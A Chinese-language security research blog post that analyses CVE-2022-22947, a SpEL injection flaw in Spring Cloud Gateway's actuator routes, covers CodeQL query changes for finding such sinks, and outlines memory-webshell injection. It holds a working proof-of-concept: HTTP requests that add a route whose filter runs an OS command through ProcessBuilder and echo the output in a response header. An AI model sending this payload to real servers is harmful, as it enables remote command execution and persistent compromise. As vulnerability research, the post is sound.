CVE-2022-22947

调试

git clone https://github.com/spring-cloud/spring-cloud-gateway 
cd spring-cloud-gateway 
git checkout v3.1.0
然后idea打开项目,再调试或启动

看一下github的相关代码更新,定位漏洞点

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

image-20220311102231784

红色部分就是含有漏洞的代码,明显做了一次对SPEL的解析。

在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

跟踪一下漏洞方法的调用

normalize方法调用了getvalue

image-20220311113806608

normalizeProperties调用了normalize方法

image-20220311113928863

在看一下这个类的抽象类AbstractBuilder中的bind方法调用了normalizeProperties方法

image-20220311115526180

跟踪bind方法,发现与loadGatewayFilters方法相关

image-20220311115455059

这里还调用了properties方法,设置了normalize方法中的properties参数

继续跟踪,

image-20220311133630808

image-20220311133706524

image-20220311133745029

最后可以定位到路由 /routes/{id}

image-20220311134103867

在官方文档中找到相应的路由说明

image-20220311134833436

image-20220311135036809

找一下filter的结构定义字段

image-20220311140211951

同时根据路由找到对应的方法

image-20220311140654900

这里有一个validation方法image-20220311140721979

可以看到这里的isAvailable对其做了校验

image-20220311141017778

在调试模式下,查找一下相关的值,发现有28个合法的name

image-20220311144540299

为了获得回显,选取AddResponseHeader,它所对应的filter会将值存放到responseheader中

image-20220311144744885

poc

POST /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "123",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ipconfig').start().getInputStream(), 'GBK').useDelimiter('123ada').next()}"
    }
  }],
   "uri": "http://123.com"
}
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36



GET /actuator/gateway/routes/123 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

codeql继续挖spel

研究了一下,发现source无法直接使用RemoteFlowSources,看了一下RemoteFlowSources在spring里主要用的是SpringRequestMappingParameter

image-20220314152918710

仔细看了一下规则,发现SpringRequestMappingParameter是SpringRequestMappingMethod的参数,而SpringRequestMappingMethod继承了SpringControllerMethod,导致目标方法必须带有controller类的注解才能被识别。

image-20220314162906309

image-20220314162948166

然而,这里的source的注解为

image-20220314163116977

因此,无法被识别。

所以RemoteFlowFource应该还需要被完善

最后稍稍改了一下SpringRequestMappingMethod的定义,将继承的类从SpringControllerMethod改成Method就能够避开controller的限定了

class NewSpringRequestMappingMethod extends Method {
  SpringRequestMappingAnnotationType requestMappingAnnotationType;

  NewSpringRequestMappingMethod() {
    // Any method that declares the @RequestMapping annotation, or overrides a method that declares
    // the annotation. We have to do this explicit check because the @RequestMapping annotation is
    // not declared with @Inherited.
    exists(Method superMethod |
      this.overrides*(superMethod) and
      requestMappingAnnotationType = superMethod.getAnAnnotation().getType()
    )
  }}

  /** A parameter of a `SpringRequestMappingMethod`. */
class NewSpringRequestMappingParameter extends Parameter {
  NewSpringRequestMappingParameter() { this.getCallable() instanceof NewSpringRequestMappingMethod }

  /** Holds if the parameter should not be consider a direct source of taint. */
  predicate isNotDirectlyTaintedInput() {
    this.getType().(RefType).getAnAncestor() instanceof SpringWebRequest or
    this.getType().(RefType).getAnAncestor() instanceof SpringNativeWebRequest or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletRequest") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet", "ServletResponse") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "HttpSession") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("javax.servlet.http", "PushBuilder") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.security", "Principal") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.http", "HttpMethod") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "Locale") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.util", "TimeZone") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.time", "ZoneId") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "OutputStream") or
    this.getType().(RefType).getAnAncestor().hasQualifiedName("java.io", "Writer") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.servlet.mvc.support", "RedirectAttributes") or
    // Also covers BindingResult. Note, you can access the field value through this interface, which should be considered tainted
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.validation", "Errors") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.bind.support", "SessionStatus") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.web.util", "UriComponentsBuilder") or
    this.getType()
        .(RefType)
        .getAnAncestor()
        .hasQualifiedName("org.springframework.data.domain", "Pageable") or
    this instanceof SpringModel
  }
}

最后就能成功找到source

image-20220314171040801

重新想了一下,发现入手点错了。

post方法写入恶意spel表达式,get方法访问对应uri才是触发漏洞的方法。导致从post入手不行,应该用以下方法作为source,这时候发现好像不应该用污点跟踪,因为不是以参数作为输入的

image-20220314183344628

需要恶补java开发的知识,如Mono,flux等。

这里后续去看了一下发现漏洞的师傅的文章,发现之前一直没有检测出来也是因为remoteFlowSource不够完善,但是对于师傅的文章还是有些疑问,无法复现

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

注入内存马利用

​ 看了师傅的一些文章,发现这里的内存马其实有两种注入方法,一是从spring框架入手,另外就是从使用的netty中间件入手。

spring框架的内存马注入

首先由于需要找到RequestMappingHandlerMapping

image-20220317161200328

可以看到漏洞点附近有beanFactory参数,因此可以从这里入手,在附近下断点调试,可以找到beanFatory中有RequestMappingHandlerMapping,那么直接在spel表达式中调用@RequestMappingHandlerMapping,作为参数传入注入的代码中即可。

image-20220317161538831

在接下来的地方卡了好久,发现spring-cloud-gateway 使用的是webflux框架,而不是之前遇到的springmvc,才会报出classNotfound的错。相应的payload也需要做一些改变。

最后结果
image-20220318093603629

image-20220318093620683

坑点

组件版本一定要搞清楚,坑

还有就是

image-20220317185010357

这里的Retry参数,到时候再看一下

小bug 如果用addResponseHeader作为参数,最后被注入的方法并不是内存马的方法,而是写在后面的测试方法(弹计算器)

posted @ 2022-03-18 09:38  xyylll  阅读(457)  评论(0编辑  收藏  举报